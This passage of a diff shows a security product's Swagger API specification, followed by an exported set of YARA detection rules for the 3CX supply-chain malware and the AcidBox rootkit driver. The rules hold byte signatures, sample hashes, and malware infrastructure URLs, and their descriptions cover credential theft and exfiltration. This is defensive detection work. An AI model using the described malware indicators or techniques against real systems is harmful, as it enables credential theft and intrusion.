+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_threat_intelligence_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_threat_intelligence_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/threat_intelligence/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_threat_intelligence_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/threat_status_binding/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_threat_status_binding_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_threat_status_binding_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/threat_status_binding/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_threat_status_binding_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/virustotal/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_virustotal_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_virustotal_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditVirusTotal'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/virustotal/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_virustotal_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/thehive/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_thehive_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_thehive_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditThehive'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/thehive/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_thehive_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetThehive'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/thehive/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_thehive_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditThehive'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/threat_intelligence/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_threat_intelligence_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_threat_intelligence_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/threat_intelligence/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_threat_intelligence_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatIntelligence'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/threat_status_binding/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_threat_status_binding_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_threat_status_binding_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/threat_status_binding/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_threat_status_binding_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ThreatStatusBinding'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/virustotal/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_virustotal_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_virustotal_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditVirusTotal'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/virustotal/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_virustotal_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetVirusTotal'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/virustotal/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_virustotal_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditVirusTotal'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_configuration/:
+    get:
+      consumes:
+        - application/json
+        - application/yaml
+      description: ""
+      operationId: supervisor_configuration_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SupervisorAllConfigSectionDownload'
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      consumes:
+        - application/json
+        - application/yaml
+      description: Configuration field not present in the request are left untouched.
+      operationId: supervisor_configuration_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SupervisorAllConfigSectionDownload'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SupervisorAllConfigSectionDownload'
+        "400":
+          description: Bad request
+      summary: Update the stored configuration with the given one.
+      tags:
+        - supervisor_configuration
+    put:
+      consumes:
+        - application/json
+        - application/yaml
+      description: Existing configuration is completely deleted before being replaced.
+      operationId: supervisor_configuration_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/SupervisorAllConfigSectionDownload'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/SupervisorAllConfigSectionDownload'
+        "400":
+          description: Bad request
+      summary: Replace the stored configuration with the given one.
+      tags:
+        - supervisor_configuration
+  /tenant/:
+    get:
+      description: ""
+      operationId: tenant_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_Tenant'
+      tags:
+        - information
+    parameters: []
+  /user/api_documentation_allowed/:
+    get:
+      description: Basic view called by nginx prior to allowing an http request to reach the api documentation.
+      operationId: user_api_documentation_allowed_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - user
+    parameters: []
+  /user/api_token/:
+    parameters: []
+    post:
+      description: Recreate a new API token, for the user who send the request.
+      operationId: user_api_token_create
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RequestToken'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ResponseToken'
+      tags:
+        - user
+  /user/app_settings/{path}:
+    delete:
+      description: "| path | What will be deleted (**in bold**) |\n| ------ | ------ |\n|  | {**\"a\": {\"a\": 1, \"b\": {\"a\": 1, \"b\": 2, \"c\": 3}, \"c\": 3},\"b\": 2,\"c\": 3**} |\n| `b` | {\"a\": {\"a\": 1, \"b\": {\"a\": 1, \"b\": 2, \"c\": 3}, \"c\": 3}, **\"b\": 2**,\"c\": 3} |\n| `a/b` | {\"a\": {\"a\": 1, **\"b\": {\"a\": 1, \"b\": 2, \"c\": 3}**, \"c\": 3},\"b\": 2,\"c\": 3} |\n| `a/b/b` | {\"a\": {\"a\": 1, \"b\": {\"a\": 1, **\"b\": 2**, \"c\": 3}, \"c\": 3},\"b\": 2,\"c\": 3} |\n| `%20%F0%9F%9A%80%E5%93%87` | {**\" \U0001F680哇\": 42**, \"a\": 1} |\n\nThere is no character restriction, any unicode should work. Don't forget to urlencode the path though."
+      operationId: user_app_settings_delete
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UserAppSettings'
+      summary: Delete a key in the user-specific application settings.
+      tags:
+        - user
+    parameters:
+      - in: path
+        name: path
+        required: true
+        type: string
+    patch:
+      description: "This call will try to merge the content of the specified key using the provided data.\nIn case of conflict, the provided data will be preferred.\n\nOnly the first level will be merged, sub-list and sub-dicts will not be merged.\n\n| path | What will be updated (**in bold**) |\n| ------ | ------ |\n|  | {**\"a\": {\"a\": 1, \"b\": {\"a\": 1, \"b\": 2, \"c\": 3}, \"c\": 3},\"b\": 2,\"c\": 3**} |\n| `b` | {\"a\": {\"a\": 1, \"b\": {\"a\": 1, \"b\": 2, \"c\": 3}, \"c\": 3}, \"b\": **2**,\"c\": 3} |\n| `a/b` | {\"a\": {\"a\": 1, \"b\": **{\"a\": 1, \"b\": 2, \"c\": 3}**, \"c\": 3},\"b\": 2,\"c\": 3} |\n| `a/b/b` | {\"a\": {\"a\": 1, \"b\": {\"a\": 1, \"b\": **2**, \"c\": 3}, \"c\": 3},\"b\": 2,\"c\": 3} |\n| `%20%F0%9F%9A%80%E5%93%87` | {\" \U0001F680哇\": **42**, \"a\": 1} |\n\nThere is no character restriction, any unicode should work. Don't forget to urlencode the path though."
+      operationId: user_app_settings_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AppSettingsJson'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UserAppSettings'
+      summary: Update user-specific application settings in an arbitrary JSON format.
+      tags:
+        - user
+    put:
+      description: "This call will replace the content of the specified key using the provided data.\n\n| path | What will be changed (**in bold**) |\n| ------ | ------ |\n|  | {**\"a\": {\"a\": 1, \"b\": {\"a\": 1, \"b\": 2, \"c\": 3}, \"c\": 3},\"b\": 2,\"c\": 3**} |\n| `b` | {\"a\": {\"a\": 1, \"b\": {\"a\": 1, \"b\": 2, \"c\": 3}, \"c\": 3}, \"b\": **2**,\"c\": 3} |\n| `a/b` | {\"a\": {\"a\": 1, \"b\": **{\"a\": 1, \"b\": 2, \"c\": 3}**, \"c\": 3},\"b\": 2,\"c\": 3} |\n| `a/b/b` | {\"a\": {\"a\": 1, \"b\": {\"a\": 1, \"b\": **2**, \"c\": 3}, \"c\": 3},\"b\": 2,\"c\": 3} |\n| `%20%F0%9F%9A%80%E5%93%87` | {\" \U0001F680哇\": **42**, \"a\": 1} |\n\nThere is no character restriction, any unicode should work. Don't forget to urlencode the path though."
+      operationId: user_app_settings_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AppSettingsJson'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/UserAppSettings'
+      summary: Change user-specific application settings in an arbitrary JSON format.
+      tags:
+        - user
+  /user/datavisualization_allowed/:
+    get:
+      description: Basic view called by nginx prior to allowing an http request to reach the data visualization (kibana) service.
+      operationId: user_datavisualization_allowed_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - user
+    parameters: []
+  /user/documentation_allowed/:
+    get:
+      description: Basic view called by nginx prior to allowing an http request to reach the documentation.
+      operationId: user_documentation_allowed_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - user
+    parameters: []
+  /user/monitoring_allowed/:
+    get:
+      description: Basic view called by nginx prior to allowing an http request to reach the monitoring (grafana) service.
+      operationId: user_monitoring_allowed_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - user
+    parameters: []
+  /user/news_allowed/:
+    get:
+      description: Basic view called by nginx prior to allowing an http request to reach the assets for feature highlights.
+      operationId: user_news_allowed_list
+      parameters: []
+      responses:
+        "200":
+          description: ""
+      tags:
+        - user
+    parameters: []
+  /user/password/:
+    parameters: []
+    patch:
+      description: ""
+      operationId: user_password_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Password'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Password'
+      tags:
+        - user
+    put:
+      description: ""
+      operationId: user_password_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Password'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Password'
+      tags:
+        - user
+  /user/profile/:
+    get:
+      description: ""
+      operationId: user_profile_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/HlUserSerializer'
+      tags:
+        - user
+    parameters: []
+  /version/:
+    get:
+      description: ""
+      operationId: version_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/_Version'
+      tags:
+        - information
+    parameters: []
+produces:
+  - application/json
+security:
+  - Token: []
+securityDefinitions:
+  Token:
+    in: header
+    name: Authorization
+    type: apiKey
+swagger: "2.0"
diff --git a/harfang_export/yara_export.json b/harfang_export/yara_export.json
new file mode 100644
index 0000000..d4c5dd9
--- /dev/null
+++ b/harfang_export/yara_export.json
@@ -0,0 +1,44003 @@
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-3cx_supply_chain_attack_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.587885Z",
+  "creation_date": "2026-03-23T11:46:25.587887Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.587893Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/de_de/research/23/c/information-on-attacks-involving-3cx-desktop-app.html\nhttps://www.elastic.co/fr/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack"
+  ],
+  "name": "3cx_supply_chain_attack_loader.yar",
+  "content": "rule supply_chain_attack_3cx_loader {\n    meta:\n        title = \"3CX Desktop App Supply Chain Attack Loader\"\n        id = \"d5066a5c-be2a-445b-b4fe-9fecfcf99e5f\"\n        description = \"Detects the loader embedded in the 3CX Desktop App infected by a supply chain attack.\\nThe 3CX Desktop App was compromised in March 2023, delivering a malware capable of stealing browser credentials and exfiltrating them to a remote, attacker-controlled server. This rule identifies the specific signature of the malicious loader within the legitimate 3CX application.\"\n        references = \"https://www.trendmicro.com/de_de/research/23/c/information-on-attacks-involving-3cx-desktop-app.html\\nhttps://www.elastic.co/fr/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack\"\n        date = \"2023-03-30\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1102;attack.exfiltration;attack.t1567;attack.credential_access;attack.t1539\"\n        classification = \"Windows.Loader.3CXSupplyChainAttack\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02\n        // 7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896\n\n        $s1 = \"d3dcompiler_47.dll\" fullword wide\n\n        $magic_marker = {\n            41 80 7C 00 FD FE     // cmp     byte ptr [r8+rax-3], 0FEh\n            75 ??                 // jnz     short loc_18004E04A\n            41 80 7C 00 FE ED     // cmp     byte ptr [r8+rax-2], 0EDh\n            75 ??                 // jnz     short loc_18004E04A\n            41 80 7C 00 FF FA     // cmp     byte ptr [r8+rax-1], 0FAh\n            75 ??                 // jnz     short loc_18004E04A\n            41 80 3C 00 CE        // cmp     byte ptr [r8+rax], 0CEh\n            74 ??                 // jz      short loc_18004E057\n        }\n\n        $pe_parsing = {\n            3D 4D 5A 00 00        // cmp     eax, 5A4Dh\n            0F 85 ?? ?? ?? ??     // jnz     loc_18004E1F7\n            48 63 43 3C           // movsxd  rax, dword ptr [rbx+3Ch]\n            48 8D 14 03           // lea     rdx, [rbx+rax]\n            48 83 C2 18           // add     rdx, 18h        ; Src\n            4C 8D ?? 24 50        // lea     r14, [rsp+598h+var_548]\n            41 B8 F0 00 00 00     // mov     r8d, 0F0h       ; Size\n            4C 89 F1              // mov     rcx, r14        ; void *\n        }\n\n        $payload_decryption = {\n            48 63 D0              // movsxd  rdx, eax\n            4C 69 C2 AB AA AA 2A  // imul    r8, rdx, 2AAAAAABh\n            4D 89 C1              // mov     r9, r8\n            49 C1 E9 3F           // shr     r9, 3Fh\n            49 C1 E8 21           // shr     r8, 21h\n            45 01 C8              // add     r8d, r9d\n            41 C1 E0 02           // shl     r8d, 2\n            47 8D 04 40           // lea     r8d, [r8+r8*2]\n            44 29 C2              // sub     edx, r8d\n            8A 14 0A              // mov     dl, [rdx+rcx]\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "supply_chain_attack_3cx_loader"
+  ],
+  "rule_creation_date": "2023-03-30",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.3CXSupplyChainAttack"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1567",
+    "attack.t1539",
+    "attack.t1102"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-3cx_supply_chain_attack_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576482Z",
+  "creation_date": "2026-03-23T11:46:25.576485Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576490Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/de_de/research/23/c/information-on-attacks-involving-3cx-desktop-app.html"
+  ],
+  "name": "3cx_supply_chain_attack.yar",
+  "content": "rule supply_chain_attack_3cx {\n    meta:\n        title = \"3CX Desktop App Supply Chain Attack\"\n        id = \"bf1cfc8c-2838-4a72-8814-d664a83ccac1\"\n        description = \"Detects the supply chain attack infected versions of the 3CX Desktop App.\\nThe 3CX Desktop App, a popular VoIP solution, was targeted in a supply chain attack. The malicious software embedded within the legitimate application is designed to harvest browser credentials and exfiltrate them to a remote, attacker-controlled server.\"\n        references = \"https://www.trendmicro.com/de_de/research/23/c/information-on-attacks-involving-3cx-desktop-app.html\"\n        date = \"2023-03-30\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1102;attack.exfiltration;attack.t1567;attack.credential_access;attack.t1539\"\n        classification = \"Windows.Malware.3CXSupplyChainAttack\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 4e8cbfd24b11b36a89138736401da17db984c59096098e3cacd95c29b40f4942\n\n        $inmem_str_1 = \"ChainingModeGCM\" fullword wide\n        $inmem_str_2 = \"ChainingMode\" fullword wide\n\n        $inmem_str_3 = \"https://raw.githubusercontent.com/IconStorages/images/main/icon%d.ico\" fullword wide\n        $inmem_str_4 = \"https://github.com/IconStorages/images\" wide\n\n    condition:\n        3 of ($inmem_str_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "supply_chain_attack_3cx"
+  ],
+  "rule_creation_date": "2023-03-30",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.3CXSupplyChainAttack"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1567",
+    "attack.t1539",
+    "attack.t1102"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-acidbox_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578036Z",
+  "creation_date": "2026-03-23T11:46:25.578038Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578044Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
+  ],
+  "name": "acidbox_driver.yar",
+  "content": "rule acidbox_driver {\n    meta:\n        title = \"AcidBox Windows Driver\"\n        id = \"5a3aafcf-0eb8-42f4-bdf0-93d09d45fa7f\"\n        description = \"Detects the AcidBox malware's kernel driver.\\nAcidBox is a malware developed by the Turla APT.\\nIt features an unsigned kernel mode driver loaded using CVE-2008-3431 and acts as a rootkit.\"\n        references = \"https://unit42.paloaltonetworks.com/acidbox-rare-malware/\"\n        date = \"2022-11-28\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1547;attack.privilege_escalation;attack.t1543;attack.t1055.001;attack.t1068;attack.defense_evasion;attack.t1562.001\"\n        classification = \"Windows.Malware.AcidBox\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d\n\n        $critical_1 = \"\\\\DosDevices\\\\PCIXA_CFGDEV\" fullword wide\n        $critical_2 = \"\\\\Device\\\\PCIXA_CFG\" fullword wide\n        $critical_3 = \"PCIXA_Cfg.sys\" fullword wide\n\n        // Shellcode decryption\n        $op1 = {\n            41 8B CB           // mov     ecx, r11d\n            48 C1 E1 02        // shl     rcx, 2\n            41 8B C0           // mov     eax, r8d\n            48 2B C8           // sub     rcx, rax\n            8B 04 19           // mov     eax, [rcx+rbx]\n            43 8B 0C DF        // mov     ecx, [r15+r11*8]\n            33 C8              // xor     ecx, eax\n            43 23 4C DF 04     // and     ecx, [r15+r11*8+4]\n            89 ?? 24 04        // mov     [rsp+28h+var_24], ecx\n            75 0A              // jnz     short loc_1159B\n            FF C7              // inc     edi\n            89 ?? 24           // mov     [rsp+28h+var_28], edi\n            41 FF C3           // inc     r11d\n        }\n\n        $op2 = {\n            8B C2              // mov     eax, edx\n            D1 E8              // shr     eax, 1\n            44 3B C8           // cmp     r9d, eax\n            0F 82 ?? ?? ?? ??  // jb      loc_115CE\n            44 8B CA           // mov     r9d, edx\n            41 C1 E9 03        // shr     r9d, 3\n            45 85 C9           // test    r9d, r9d\n            0F 84 ?? ?? ?? ??  // jz      loc_115CE\n            F6 C2 07           // test    dl, 7\n            0F 85 ?? ?? ?? ??  // jnz     loc_115CE\n        }\n\n        $byte_marker_1 = { DE AD BA FA }\n        $byte_marker_2 = { DE AD BE EF }\n        $byte_marker_3 = { DE AD FE ED }\n    condition:\n        1 of ($critical_*) or (1 of ($op*) and all of ($byte_marker_*))\n}\n",
